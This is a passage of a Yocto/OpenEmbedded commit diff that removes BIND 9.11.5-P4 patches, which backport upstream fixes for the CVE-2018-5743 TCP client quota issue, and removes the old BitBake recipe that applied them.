- client->state = NS_CLIENTSTATE_READY;
-- INSIST(client->recursionquota == NULL);
--
-- /*
-- * Now the client is ready to accept a new TCP connection
-- * or UDP request, but we may have enough clients doing
-- * that already. Check whether this client needs to remain
-- * active and force it to go inactive if not.
-- *
-- * UDP clients go inactive at this point, but a TCP client
-- * may need to remain active and go into ready state if
-- * no other clients are available to listen for TCP
-- * requests on this interface or (in the case of pipelined
-- * clients) to read for additional messages on the current
-- * connection.
-- */
-- if (client->mortal && TCP_CLIENT(client) && !ns_g_clienttest) {
-- LOCK(&client->interface->lock);
-- if ((client->interface->ntcpaccepting == 0 ||
-- (client->pipelined &&
-- client->interface->ntcpactive < 2)) &&
-- client->newstate != NS_CLIENTSTATE_FREED)
-- {
-- client->mortal = false;
-- client->newstate = NS_CLIENTSTATE_READY;
-- }
-- UNLOCK(&client->interface->lock);
-- }
--
-- client->pipelined = false;
-
- /*
- * We don't need the client; send it to the inactive
-@@ -630,7 +621,7 @@ exit_check(ns_client_t *client) {
- }
-
- /* Still waiting for accept cancel completion. */
-- if (! (client->naccepts == 0)) {
-+ if (client->naccepts > 0) {
- return (true);
- }
-
-@@ -641,7 +632,7 @@ exit_check(ns_client_t *client) {
- }
-
- /* Still waiting for recv cancel completion. */
-- if (! (client->nrecvs == 0)) {
-+ if (client->nrecvs > 0) {
- return (true);
- }
-
-@@ -654,14 +645,7 @@ exit_check(ns_client_t *client) {
- INSIST(client->recursionquota == NULL);
- if (client->tcplistener != NULL) {
- isc_socket_detach(&client->tcplistener);
--
-- if (client->tcpactive) {
-- LOCK(&client->interface->lock);
-- INSIST(client->interface->ntcpactive > 0);
-- client->interface->ntcpactive--;
-- UNLOCK(&client->interface->lock);
-- client->tcpactive = false;
-- }
-+ mark_tcp_active(client, false);
- }
- if (client->udpsocket != NULL) {
- isc_socket_detach(&client->udpsocket);
-@@ -816,7 +800,7 @@ client_start(isc_task_t *task, isc_event_t *event) {
- return;
-
- if (TCP_CLIENT(client)) {
-- if (client->pipelined) {
-+ if (client->tcpconn != NULL) {
- client_read(client);
- } else {
- client_accept(client);
-@@ -2470,6 +2454,7 @@ client_request(isc_task_t *task, isc_event_t *event) {
- client->nrecvs--;
- } else {
- INSIST(TCP_CLIENT(client));
-+ INSIST(client->tcpconn != NULL);
- REQUIRE(event->ev_type == DNS_EVENT_TCPMSG);
- REQUIRE(event->ev_sender == &client->tcpmsg);
- buffer = &client->tcpmsg.buffer;
-@@ -2657,17 +2642,19 @@ client_request(isc_task_t *task, isc_event_t *event) {
- /*
- * Pipeline TCP query processing.
- */
-- if (client->message->opcode != dns_opcode_query) {
-- client->pipelined = false;
-+ if (TCP_CLIENT(client) &&
-+ client->message->opcode != dns_opcode_query)
-+ {
-+ client->tcpconn->pipelined = false;
- }
-- if (TCP_CLIENT(client) && client->pipelined) {
-+ if (TCP_CLIENT(client) && client->tcpconn->pipelined) {
- /*
- * We're pipelining. Replace the client; the
-- * the replacement can read the TCP socket looking
-- * for new messages and this client can process the
-+ * replacement can read the TCP socket looking
-+ * for new messages and this one can process the
- * current message asynchronously.
- *
-- * There are now at least three clients using this
-+ * There will now be at least three clients using this
- * TCP socket - one accepting new connections,
- * one reading an existing connection to get new
- * messages, and one answering the message already
-@@ -2675,7 +2662,7 @@ client_request(isc_task_t *task, isc_event_t *event) {
- */
- result = ns_client_replace(client);
- if (result != ISC_R_SUCCESS) {
-- client->pipelined = false;
-+ client->tcpconn->pipelined = false;
- }
- }
-
-@@ -3233,10 +3220,7 @@ client_create(ns_clientmgr_t *manager, ns_client_t **clientp) {
- client->signer = NULL;
- dns_name_init(&client->signername, NULL);
- client->mortal = false;
-- client->pipelined = false;
-- client->pipeline_refs = NULL;
-- client->tcpquota = NULL;
-- client->tcpattached = false;
-+ client->tcpconn = NULL;
- client->recursionquota = NULL;
- client->interface = NULL;
- client->peeraddr_valid = false;
-@@ -3341,9 +3325,10 @@ client_read(ns_client_t *client) {
-
- static void
- client_newconn(isc_task_t *task, isc_event_t *event) {
-+ isc_result_t result;
- ns_client_t *client = event->ev_arg;
- isc_socket_newconnev_t *nevent = (isc_socket_newconnev_t *)event;
-- isc_result_t result;
-+ uint32_t old;
-
- REQUIRE(event->ev_type == ISC_SOCKEVENT_NEWCONN);
- REQUIRE(NS_CLIENT_VALID(client));
-@@ -3363,10 +3348,8 @@ client_newconn(isc_task_t *task, isc_event_t *event) {
- INSIST(client->naccepts == 1);
- client->naccepts--;
-
-- LOCK(&client->interface->lock);
-- INSIST(client->interface->ntcpaccepting > 0);
-- client->interface->ntcpaccepting--;
-- UNLOCK(&client->interface->lock);
-+ old = isc_atomic_xadd(&client->interface->ntcpaccepting, -1);
-+ INSIST(old > 0);
-
- /*
- * We must take ownership of the new socket before the exit
-@@ -3399,7 +3382,7 @@ client_newconn(isc_task_t *task, isc_event_t *event) {
- NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(3),
- "accept failed: %s",
- isc_result_totext(nevent->result));
-- tcpquota_disconnect(client);
-+ tcpconn_detach(client);
- }
-
- if (exit_check(client))
-@@ -3437,15 +3420,13 @@ client_newconn(isc_task_t *task, isc_event_t *event) {
- * telnetting to port 53 (once per CPU) will
- * deny service to legitimate TCP clients.
- */
-- client->pipelined = false;
- result = ns_client_replace(client);
- if (result == ISC_R_SUCCESS &&
- (ns_g_server->keepresporder == NULL ||
- !allowed(&netaddr, NULL, NULL, 0, NULL,
- ns_g_server->keepresporder)))
- {
-- pipeline_init(client);
-- client->pipelined = true;
-+ client->tcpconn->pipelined = true;
- }
-
- client_read(client);
-@@ -3462,78 +3443,59 @@ client_accept(ns_client_t *client) {
- CTRACE("accept");
-
- /*
-- * The tcpquota object can only be simultaneously referenced a
-- * pre-defined number of times; this is configured by 'tcp-clients'
-- * in named.conf. If we can't attach to it here, that means the TCP
-- * client quota has been exceeded.
-+ * Set up a new TCP connection. This means try to attach to the
-+ * TCP client quota (tcp-clients), but fail if we're over quota.
- */
-- result = isc_quota_attach(&ns_g_server->tcpquota,
-- &client->tcpquota);
-+ result = tcpconn_init(client, false);
- if (result != ISC_R_SUCCESS) {
-- bool exit;
-+ bool exit;
-
-- ns_client_log(client, NS_LOGCATEGORY_CLIENT,
-- NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(1),
-- "no more TCP clients: %s",
-- isc_result_totext(result));
--
-- /*
-- * We have exceeded the system-wide TCP client
-- * quota. But, we can't just block this accept
-- * in all cases, because if we did, a heavy TCP
-- * load on other interfaces might cause this
-- * interface to be starved, with no clients able
-- * to accept new connections.
-- *
-- * So, we check here to see if any other clients
-- * are already servicing TCP queries on this
-- * interface (whether accepting, reading, or
-- * processing). If there are at least two
-- * (one reading and one processing a request)
-- * then it's okay *not* to call accept - we
-- * can let this client go inactive and another
-- * one will resume accepting when it's done.
-- *
-- * If there aren't enough active clients on the
-- * interface, then we can be a little bit
-- * flexible about the quota. We'll allow *one*
-- * extra client through to ensure we're listening
-- * on every interface.
-- *
-- * (Note: In practice this means that the real
-- * TCP client quota is tcp-clients plus the
-- * number of listening interfaces plus 2.)
-- */
-- LOCK(&client->interface->lock);
-- exit = (client->interface->ntcpactive > 1);
-- UNLOCK(&client->interface->lock);
-+ ns_client_log(client, NS_LOGCATEGORY_CLIENT,
-+ NS_LOGMODULE_CLIENT, ISC_LOG_WARNING,
-+ "TCP client quota reached: %s",
-+ isc_result_totext(result));
-
-- if (exit) {
-- client->newstate = NS_CLIENTSTATE_INACTIVE;
-- (void)exit_check(client);
-- return;
-- }
-+ /*
-+ * We have exceeded the system-wide TCP client quota. But,
-+ * we can't just block this accept in all cases, because if
-+ * we did, a heavy TCP load on other interfaces might cause
-+ * this interface to be starved, with no clients able to
-+ * accept new connections.
-+ *
-+ * So, we check here to see if any other clients are
-+ * already servicing TCP queries on this interface (whether
-+ * accepting, reading, or processing). If we find at least
-+ * one, then it's okay *not* to call accept - we can let this
-+ * client go inactive and another will take over when it's
-+ * done.
-+ *
-+ * If there aren't enough active clients on the interface,
-+ * then we can be a little bit flexible about the quota.
-+ * We'll allow *one* extra client through to ensure we're
-+ * listening on every interface; we do this by setting the
-+ * 'force' option to tcpconn_init().
-+ *
-+ * (Note: In practice this means that the real TCP client
-+ * quota is tcp-clients plus the number of listening
-+ * interfaces plus 1.)
-+ */
-+ exit = (isc_atomic_xadd(&client->interface->ntcpactive, 0) > 0);
-+ if (exit) {
-+ client->newstate = NS_CLIENTSTATE_INACTIVE;
-+ (void)exit_check(client);
-+ return;
-+ }
-
-- } else {
-- client->tcpattached = true;
-+ result = tcpconn_init(client, true);
-+ RUNTIME_CHECK(result == ISC_R_SUCCESS);
- }
-
- /*
-- * By incrementing the interface's ntcpactive counter we signal
-- * that there is at least one client servicing TCP queries for the
-- * interface.
-- *
-- * We also make note of the fact in the client itself with the
-- * tcpactive flag. This ensures proper accounting by preventing
-- * us from accidentally incrementing or decrementing ntcpactive
-- * more than once per client object.
-+ * If this client was set up using get_client() or get_worker(),
-+ * then TCP is already marked active. However, if it was restarted
-+ * from exit_check(), it might not be, so we take care of it now.
- */
-- if (!client->tcpactive) {
-- LOCK(&client->interface->lock);
-- client->interface->ntcpactive++;
-- UNLOCK(&client->interface->lock);
-- client->tcpactive = true;
-- }
-+ mark_tcp_active(client, true);
-
- result = isc_socket_accept(client->tcplistener, client->task,
- client_newconn, client);
-@@ -3549,15 +3511,8 @@ client_accept(ns_client_t *client) {
- "isc_socket_accept() failed: %s",
- isc_result_totext(result));
-
-- tcpquota_disconnect(client);
--
-- if (client->tcpactive) {
-- LOCK(&client->interface->lock);
-- client->interface->ntcpactive--;
-- UNLOCK(&client->interface->lock);
-- client->tcpactive = false;
-- }
--
-+ tcpconn_detach(client);
-+ mark_tcp_active(client, false);
- return;
- }
-
-@@ -3582,9 +3537,7 @@ client_accept(ns_client_t *client) {
- * listening for connections itself to prevent the interface
- * going dead.
- */
-- LOCK(&client->interface->lock);
-- client->interface->ntcpaccepting++;
-- UNLOCK(&client->interface->lock);
-+ isc_atomic_xadd(&client->interface->ntcpaccepting, 1);
- }
-
- static void
-@@ -3655,24 +3608,25 @@ ns_client_replace(ns_client_t *client) {
- REQUIRE(client->manager != NULL);
-
- tcp = TCP_CLIENT(client);
-- if (tcp && client->pipelined) {
-+ if (tcp && client->tcpconn != NULL && client->tcpconn->pipelined) {
- result = get_worker(client->manager, client->interface,
- client->tcpsocket, client);
- } else {
- result = get_client(client->manager, client->interface,
-- client->dispatch, client, tcp);
-+ client->dispatch, tcp);
-
-- /*
-- * The responsibility for listening for new requests is hereby
-- * transferred to the new client. Therefore, the old client
-- * should refrain from listening for any more requests.
-- */
-- client->mortal = true;
- }
- if (result != ISC_R_SUCCESS) {
- return (result);
- }
-
-+ /*
-+ * The responsibility for listening for new requests is hereby
-+ * transferred to the new client. Therefore, the old client
-+ * should refrain from listening for any more requests.
-+ */
-+ client->mortal = true;
-+
- return (ISC_R_SUCCESS);
- }
-
-@@ -3806,7 +3760,7 @@ ns_clientmgr_destroy(ns_clientmgr_t **managerp) {
-
- static isc_result_t
- get_client(ns_clientmgr_t *manager, ns_interface_t *ifp,
-- dns_dispatch_t *disp, ns_client_t *oldclient, bool tcp)
-+ dns_dispatch_t *disp, bool tcp)
- {
- isc_result_t result = ISC_R_SUCCESS;
- isc_event_t *ev;
-@@ -3850,15 +3804,7 @@ get_client(ns_clientmgr_t *manager, ns_interface_t *ifp,
- client->dscp = ifp->dscp;
-
- if (tcp) {
-- client->tcpattached = false;
-- if (oldclient != NULL) {
-- client->tcpattached = oldclient->tcpattached;
-- }
--
-- LOCK(&client->interface->lock);
-- client->interface->ntcpactive++;
-- UNLOCK(&client->interface->lock);
-- client->tcpactive = true;
-+ mark_tcp_active(client, true);
-
- client->attributes |= NS_CLIENTATTR_TCP;
- isc_socket_attach(ifp->tcpsocket,
-@@ -3923,16 +3869,14 @@ get_worker(ns_clientmgr_t *manager, ns_interface_t *ifp, isc_socket_t *sock,
- ns_interface_attach(ifp, &client->interface);
- client->newstate = client->state = NS_CLIENTSTATE_WORKING;
- INSIST(client->recursionquota == NULL);
-- client->tcpquota = &ns_g_server->tcpquota;
-- client->tcpattached = oldclient->tcpattached;
-
- client->dscp = ifp->dscp;
-
- client->attributes |= NS_CLIENTATTR_TCP;
- client->mortal = true;
-
-- pipeline_attach(oldclient, client);
-- client->pipelined = true;
-+ tcpconn_attach(oldclient, client);
-+ mark_tcp_active(client, true);
-
- isc_socket_attach(ifp->tcpsocket, &client->tcplistener);
- isc_socket_attach(sock, &client->tcpsocket);
-@@ -3940,11 +3884,6 @@ get_worker(ns_clientmgr_t *manager, ns_interface_t *ifp, isc_socket_t *sock,
- (void)isc_socket_getpeername(client->tcpsocket, &client->peeraddr);
- client->peeraddr_valid = true;
-
-- LOCK(&client->interface->lock);
-- client->interface->ntcpactive++;
-- UNLOCK(&client->interface->lock);
-- client->tcpactive = true;
--
- INSIST(client->tcpmsg_valid == false);
- dns_tcpmsg_init(client->mctx, client->tcpsocket, &client->tcpmsg);
- client->tcpmsg_valid = true;
-@@ -3970,8 +3909,7 @@ ns_clientmgr_createclients(ns_clientmgr_t *manager, unsigned int n,
- MTRACE("createclients");
-
- for (disp = 0; disp < n; disp++) {
-- result = get_client(manager, ifp, ifp->udpdispatch[disp],
-- NULL, tcp);
-+ result = get_client(manager, ifp, ifp->udpdispatch[disp], tcp);
- if (result != ISC_R_SUCCESS)
- break;
- }
-diff --git a/bin/named/include/named/client.h b/bin/named/include/named/client.h
-index e2c40acd28..969ee4c08f 100644
---- a/bin/named/include/named/client.h
-+++ b/bin/named/include/named/client.h
-@@ -78,6 +78,13 @@
- *** Types
- ***/
-
-+/*% reference-counted TCP connection object */
-+typedef struct ns_tcpconn {
-+ isc_refcount_t refs;
-+ isc_quota_t *tcpquota;
-+ bool pipelined;
-+} ns_tcpconn_t;
-+
- /*% nameserver client structure */
- struct ns_client {
- unsigned int magic;
-@@ -131,10 +138,7 @@ struct ns_client {
- dns_name_t signername; /*%< [T]SIG key name */
- dns_name_t *signer; /*%< NULL if not valid sig */
- bool mortal; /*%< Die after handling request */
-- bool pipelined; /*%< TCP queries not in sequence */
-- isc_refcount_t *pipeline_refs;
-- isc_quota_t *tcpquota;
-- bool tcpattached;
-+ ns_tcpconn_t *tcpconn;
- isc_quota_t *recursionquota;
- ns_interface_t *interface;
-
-diff --git a/bin/named/include/named/interfacemgr.h b/bin/named/include/named/interfacemgr.h
-index 61b08826a6..3535ef22a8 100644
---- a/bin/named/include/named/interfacemgr.h
-+++ b/bin/named/include/named/interfacemgr.h
-@@ -9,8 +9,6 @@
- * information regarding copyright ownership.
- */
-
--/* $Id: interfacemgr.h,v 1.35 2011/07/28 23:47:58 tbox Exp $ */
--
- #ifndef NAMED_INTERFACEMGR_H
- #define NAMED_INTERFACEMGR_H 1
-
-@@ -77,11 +75,11 @@ struct ns_interface {
- /*%< UDP dispatchers. */
- isc_socket_t * tcpsocket; /*%< TCP socket. */
- isc_dscp_t dscp; /*%< "listen-on" DSCP value */
-- int ntcpaccepting; /*%< Number of clients
-+ int32_t ntcpaccepting; /*%< Number of clients
- ready to accept new
- TCP connections on this
- interface */
-- int ntcpactive; /*%< Number of clients
-+ int32_t ntcpactive; /*%< Number of clients
- servicing TCP queries
- (whether accepting or
- connected) */
-diff --git a/bin/named/interfacemgr.c b/bin/named/interfacemgr.c
-index 955096ef47..d9f6df5802 100644
---- a/bin/named/interfacemgr.c
-+++ b/bin/named/interfacemgr.c
-@@ -388,6 +388,7 @@ ns_interface_create(ns_interfacemgr_t *mgr, isc_sockaddr_t *addr,
- */
- ifp->ntcpaccepting = 0;
- ifp->ntcpactive = 0;
-+
- ifp->nudpdispatch = 0;
-
- ifp->dscp = -1;
-diff --git a/lib/isc/include/isc/quota.h b/lib/isc/include/isc/quota.h
-index b9bf59877a..36c5830242 100644
---- a/lib/isc/include/isc/quota.h
-+++ b/lib/isc/include/isc/quota.h
-@@ -100,6 +100,13 @@ isc_quota_attach(isc_quota_t *quota, isc_quota_t **p);
- * quota if successful (ISC_R_SUCCESS or ISC_R_SOFTQUOTA).
- */
-
-+isc_result_t
-+isc_quota_force(isc_quota_t *quota, isc_quota_t **p);
-+/*%<
-+ * Like isc_quota_attach, but will attach '*p' to the quota
-+ * even if the hard quota has been exceeded.
-+ */
-+
- void
- isc_quota_detach(isc_quota_t **p);
- /*%<
-diff --git a/lib/isc/quota.c b/lib/isc/quota.c
-index 3ddff0d875..556a61f21d 100644
---- a/lib/isc/quota.c
-+++ b/lib/isc/quota.c
-@@ -74,20 +74,39 @@ isc_quota_release(isc_quota_t *quota) {
- UNLOCK(&quota->lock);
- }
-
--isc_result_t
--isc_quota_attach(isc_quota_t *quota, isc_quota_t **p)
--{
-+static isc_result_t
-+doattach(isc_quota_t *quota, isc_quota_t **p, bool force) {
- isc_result_t result;
-- INSIST(p != NULL && *p == NULL);
-+ REQUIRE(p != NULL && *p == NULL);
-+
- result = isc_quota_reserve(quota);
-- if (result == ISC_R_SUCCESS || result == ISC_R_SOFTQUOTA)
-+ if (result == ISC_R_SUCCESS || result == ISC_R_SOFTQUOTA) {
-+ *p = quota;
-+ } else if (result == ISC_R_QUOTA && force) {
-+ /* attach anyway */
-+ LOCK(&quota->lock);
-+ quota->used++;
-+ UNLOCK(&quota->lock);
-+
- *p = quota;
-+ result = ISC_R_SUCCESS;
-+ }
-+
- return (result);
- }
-
-+isc_result_t
-+isc_quota_attach(isc_quota_t *quota, isc_quota_t **p) {
-+ return (doattach(quota, p, false));
-+}
-+
-+isc_result_t
-+isc_quota_force(isc_quota_t *quota, isc_quota_t **p) {
-+ return (doattach(quota, p, true));
-+}
-+
- void
--isc_quota_detach(isc_quota_t **p)
--{
-+isc_quota_detach(isc_quota_t **p) {
- INSIST(p != NULL && *p != NULL);
- isc_quota_release(*p);
- *p = NULL;
-diff --git a/lib/isc/win32/libisc.def.in b/lib/isc/win32/libisc.def.in
-index a82facec0f..7b9f23d776 100644
---- a/lib/isc/win32/libisc.def.in
-+++ b/lib/isc/win32/libisc.def.in
-@@ -519,6 +519,7 @@ isc_portset_removerange
- isc_quota_attach
- isc_quota_destroy
- isc_quota_detach
-+isc_quota_force
- isc_quota_init
- isc_quota_max
- isc_quota_release
---
-2.20.1
-
diff --git a/meta/recipes-connectivity/bind/bind/0006-restore-allowance-for-tcp-clients-interfaces.patch b/meta/recipes-connectivity/bind/bind/0006-restore-allowance-for-tcp-clients-interfaces.patch
deleted file mode 100644
index 3821d18501..0000000000
--- a/meta/recipes-connectivity/bind/bind/0006-restore-allowance-for-tcp-clients-interfaces.patch
+++ /dev/null
@@ -1,80 +0,0 @@
-Backport patch to fix CVE-2018-5743.
-
-Ref:
-https://security-tracker.debian.org/tracker/CVE-2018-5743
-
-CVE: CVE-2018-5743
-Upstream-Status: Backport [https://gitlab.isc.org/isc-projects/bind9/commit/59434b9]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-From 59434b987e8eb436b08c24e559ee094c4e939daa Mon Sep 17 00:00:00 2001
-From: Evan Hunt <each@isc.org>
-Date: Fri, 5 Apr 2019 16:26:19 -0700
-Subject: [PATCH 6/6] restore allowance for tcp-clients < interfaces
-
-in the "refactor tcpquota and pipeline refs" commit, the counting
-of active interfaces was tightened in such a way that named could
-fail to listen on an interface if there were more interfaces than
-tcp-clients. when checking the quota to start accepting on an
-interface, if the number of active clients was above zero, then
-it was presumed that some other client was able to handle accepting
-new connections. this, however, ignored the fact that the current client
-could be included in that count, so if the quota was already exceeded
-before all the interfaces were listening, some interfaces would never
-listen.
-
-we now check whether the current client has been marked active; if so,
-then the number of active clients on the interface must be greater
-than 1, not 0.
-
-(cherry picked from commit 0b4e2cd4c3192ba88569dd344f542a8cc43742b5)
-(cherry picked from commit d01023aaac35543daffbdf48464e320150235d41)
----
- bin/named/client.c | 8 +++++---
- doc/arm/Bv9ARM-book.xml | 3 ++-
- 2 files changed, 7 insertions(+), 4 deletions(-)
-
-diff --git a/bin/named/client.c b/bin/named/client.c
-index d826ab32bf..845326abc0 100644
---- a/bin/named/client.c
-+++ b/bin/named/client.c
-@@ -3464,8 +3464,9 @@ client_accept(ns_client_t *client) {
- *
- * So, we check here to see if any other clients are
- * already servicing TCP queries on this interface (whether
-- * accepting, reading, or processing). If we find at least
-- * one, then it's okay *not* to call accept - we can let this
-+ * accepting, reading, or processing). If we find that at
-+ * least one client other than this one is active, then
-+ * it's okay *not* to call accept - we can let this
- * client go inactive and another will take over when it's
- * done.
- *
-@@ -3479,7 +3480,8 @@ client_accept(ns_client_t *client) {
- * quota is tcp-clients plus the number of listening
- * interfaces plus 1.)
- */
-- exit = (isc_atomic_xadd(&client->interface->ntcpactive, 0) > 0);
-+ exit = (isc_atomic_xadd(&client->interface->ntcpactive, 0) >
-+ (client->tcpactive ? 1 : 0));
- if (exit) {
- client->newstate = NS_CLIENTSTATE_INACTIVE;
- (void)exit_check(client);
-diff --git a/doc/arm/Bv9ARM-book.xml b/doc/arm/Bv9ARM-book.xml
-index 381768d540..9c76d3cd6f 100644
---- a/doc/arm/Bv9ARM-book.xml
-+++ b/doc/arm/Bv9ARM-book.xml
-@@ -8493,7 +8493,8 @@ avoid-v6-udp-ports { 40000; range 50000 60000; };
- <para>
- The number of file descriptors reserved for TCP, stdio,
- etc. This needs to be big enough to cover the number of
-- interfaces <command>named</command> listens on, <command>tcp-clients</command> as well as
-+ interfaces <command>named</command> listens on plus
-+ <command>tcp-clients</command>, as well as
- to provide room for outgoing TCP queries and incoming zone
- transfers. The default is <literal>512</literal>.
- The minimum value is <literal>128</literal> and the
---
-2.20.1
-
diff --git a/meta/recipes-connectivity/bind/bind/0007-Replace-atomic-operations-in-bin-named-client.c-with.patch b/meta/recipes-connectivity/bind/bind/0007-Replace-atomic-operations-in-bin-named-client.c-with.patch
deleted file mode 100644
index 1a84eca58a..0000000000
--- a/meta/recipes-connectivity/bind/bind/0007-Replace-atomic-operations-in-bin-named-client.c-with.patch
+++ /dev/null
@@ -1,140 +0,0 @@
-Backport commit to fix compile error on arm caused by commits which are
-to fix CVE-2018-5743.
-
-CVE: CVE-2018-5743
-Upstream-Status: Backport [https://gitlab.isc.org/isc-projects/bind9/commit/ef49780]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-From ef49780d30d3ddc5735cfc32561b678a634fa72f Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Ond=C5=99ej=20Sur=C3=BD?= <ondrej@sury.org>
-Date: Wed, 17 Apr 2019 15:22:27 +0200
-Subject: [PATCH] Replace atomic operations in bin/named/client.c with
- isc_refcount reference counting
-
----
- bin/named/client.c | 18 +++++++-----------
- bin/named/include/named/interfacemgr.h | 5 +++--
- bin/named/interfacemgr.c | 7 +++++--
- 3 files changed, 15 insertions(+), 15 deletions(-)
-
-diff --git a/bin/named/client.c b/bin/named/client.c
-index 845326abc0..29fecadca8 100644
---- a/bin/named/client.c
-+++ b/bin/named/client.c
-@@ -402,12 +402,10 @@ tcpconn_detach(ns_client_t *client) {
- static void
- mark_tcp_active(ns_client_t *client, bool active) {
- if (active && !client->tcpactive) {
-- isc_atomic_xadd(&client->interface->ntcpactive, 1);
-+ isc_refcount_increment0(&client->interface->ntcpactive, NULL);
- client->tcpactive = active;
- } else if (!active && client->tcpactive) {
-- uint32_t old =
-- isc_atomic_xadd(&client->interface->ntcpactive, -1);
-- INSIST(old > 0);
-+ isc_refcount_decrement(&client->interface->ntcpactive, NULL);
- client->tcpactive = active;
- }
- }
-@@ -554,7 +552,7 @@ exit_check(ns_client_t *client) {
- if (client->mortal && TCP_CLIENT(client) &&
- client->newstate != NS_CLIENTSTATE_FREED &&
- !ns_g_clienttest &&
-- isc_atomic_xadd(&client->interface->ntcpaccepting, 0) == 0)
-+ isc_refcount_current(&client->interface->ntcpaccepting) == 0)
- {
- /* Nobody else is accepting */
- client->mortal = false;
-@@ -3328,7 +3326,6 @@ client_newconn(isc_task_t *task, isc_event_t *event) {
- isc_result_t result;
- ns_client_t *client = event->ev_arg;
- isc_socket_newconnev_t *nevent = (isc_socket_newconnev_t *)event;
-- uint32_t old;
-
- REQUIRE(event->ev_type == ISC_SOCKEVENT_NEWCONN);
- REQUIRE(NS_CLIENT_VALID(client));
-@@ -3348,8 +3345,7 @@ client_newconn(isc_task_t *task, isc_event_t *event) {
- INSIST(client->naccepts == 1);
- client->naccepts--;
-
-- old = isc_atomic_xadd(&client->interface->ntcpaccepting, -1);
-- INSIST(old > 0);
-+ isc_refcount_decrement(&client->interface->ntcpaccepting, NULL);
-
- /*
- * We must take ownership of the new socket before the exit
-@@ -3480,8 +3476,8 @@ client_accept(ns_client_t *client) {
- * quota is tcp-clients plus the number of listening
- * interfaces plus 1.)
- */
-- exit = (isc_atomic_xadd(&client->interface->ntcpactive, 0) >
-- (client->tcpactive ? 1 : 0));
-+ exit = (isc_refcount_current(&client->interface->ntcpactive) >
-+ (client->tcpactive ? 1U : 0U));
- if (exit) {
- client->newstate = NS_CLIENTSTATE_INACTIVE;
- (void)exit_check(client);
-@@ -3539,7 +3535,7 @@ client_accept(ns_client_t *client) {
- * listening for connections itself to prevent the interface
- * going dead.
- */
-- isc_atomic_xadd(&client->interface->ntcpaccepting, 1);
-+ isc_refcount_increment0(&client->interface->ntcpaccepting, NULL);
- }
-
- static void
-diff --git a/bin/named/include/named/interfacemgr.h b/bin/named/include/named/interfacemgr.h
-index 3535ef22a8..6e10f210fd 100644
---- a/bin/named/include/named/interfacemgr.h
-+++ b/bin/named/include/named/interfacemgr.h
-@@ -45,6 +45,7 @@
- #include <isc/magic.h>
- #include <isc/mem.h>
- #include <isc/socket.h>
-+#include <isc/refcount.h>
-
- #include <dns/result.h>
-
-@@ -75,11 +76,11 @@ struct ns_interface {
- /*%< UDP dispatchers. */
- isc_socket_t * tcpsocket; /*%< TCP socket. */
- isc_dscp_t dscp; /*%< "listen-on" DSCP value */
-- int32_t ntcpaccepting; /*%< Number of clients
-+ isc_refcount_t ntcpaccepting; /*%< Number of clients
- ready to accept new
- TCP connections on this
- interface */
-- int32_t ntcpactive; /*%< Number of clients
-+ isc_refcount_t ntcpactive; /*%< Number of clients
- servicing TCP queries
- (whether accepting or
- connected) */
-diff --git a/bin/named/interfacemgr.c b/bin/named/interfacemgr.c
-index d9f6df5802..135533be6b 100644
---- a/bin/named/interfacemgr.c
-+++ b/bin/named/interfacemgr.c
-@@ -386,8 +386,8 @@ ns_interface_create(ns_interfacemgr_t *mgr, isc_sockaddr_t *addr,
- * connections will be handled in parallel even though there is
- * only one client initially.
- */
-- ifp->ntcpaccepting = 0;
-- ifp->ntcpactive = 0;
-+ isc_refcount_init(&ifp->ntcpaccepting, 0);
-+ isc_refcount_init(&ifp->ntcpactive, 0);
-
- ifp->nudpdispatch = 0;
-
-@@ -618,6 +618,9 @@ ns_interface_destroy(ns_interface_t *ifp) {
-
- ns_interfacemgr_detach(&ifp->mgr);
-
-+ isc_refcount_destroy(&ifp->ntcpactive);
-+ isc_refcount_destroy(&ifp->ntcpaccepting);
-+
- ifp->magic = 0;
- isc_mem_put(mctx, ifp, sizeof(*ifp));
- }
---
-2.20.1
-
diff --git a/meta/recipes-connectivity/bind/bind_9.11.5-P4.bb b/meta/recipes-connectivity/bind/bind_9.11.5-P4.bb
deleted file mode 100644
index 3e2412dfa4..0000000000
--- a/meta/recipes-connectivity/bind/bind_9.11.5-P4.bb
+++ /dev/null
@@ -1,145 +0,0 @@
-SUMMARY = "ISC Internet Domain Name Server"
-HOMEPAGE = "http://www.isc.org/sw/bind/"
-SECTION = "console/network"
-
-LICENSE = "ISC & BSD"
-LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=8f17f64e47e83b60cd920a1e4b54419e"
-
-DEPENDS = "openssl libcap zlib"
-
-SRC_URI = "https://ftp.isc.org/isc/bind9/${PV}/${BPN}-${PV}.tar.gz \
- file://conf.patch \
- file://named.service \
- file://bind9 \
- file://generate-rndc-key.sh \
- file://make-etc-initd-bind-stop-work.patch \
- file://init.d-add-support-for-read-only-rootfs.patch \
- file://bind-ensure-searching-for-json-headers-searches-sysr.patch \
- file://0001-gen.c-extend-DIRNAMESIZE-from-256-to-512.patch \
- file://0001-lib-dns-gen.c-fix-too-long-error.patch \
- file://0001-configure.in-remove-useless-L-use_openssl-lib.patch \
- file://0001-named-lwresd-V-and-start-log-hide-build-options.patch \
- file://0001-avoid-start-failure-with-bind-user.patch \
- file://0001-bind-fix-CVE-2019-6471.patch \
- file://0001-fix-enforcement-of-tcp-clients-v1.patch \
- file://0002-tcp-clients-could-still-be-exceeded-v2.patch \
- file://0003-use-reference-counter-for-pipeline-groups-v3.patch \
- file://0004-better-tcpquota-accounting-and-client-mortality-chec.patch \
- file://0005-refactor-tcpquota-and-pipeline-refs-allow-special-ca.patch \
- file://0006-restore-allowance-for-tcp-clients-interfaces.patch \
- file://0007-Replace-atomic-operations-in-bin-named-client.c-with.patch \
-"
-
-SRC_URI[md5sum] = "8ddab4b61fa4516fe404679c74e37960"
-SRC_URI[sha256sum] = "7e8c08192bcbaeb6e9f2391a70e67583b027b90e8c4bc1605da6eb126edde434"
-
-UPSTREAM_CHECK_URI = "https://ftp.isc.org/isc/bind9/"
-# stay at 9.11 until 9.16, from 9.16 follow the ESV versions divisible by 4
-UPSTREAM_CHECK_REGEX = "(?P<pver>9.(11|16|20|24|28)(\.\d+)+(-P\d+)*)/"
-
-inherit autotools update-rc.d systemd useradd pkgconfig multilib_script
-
-MULTILIB_SCRIPTS = "${PN}:${bindir}/bind9-config ${PN}:${bindir}/isc-config.sh"
-
-# PACKAGECONFIGs readline and libedit should NOT be set at same time
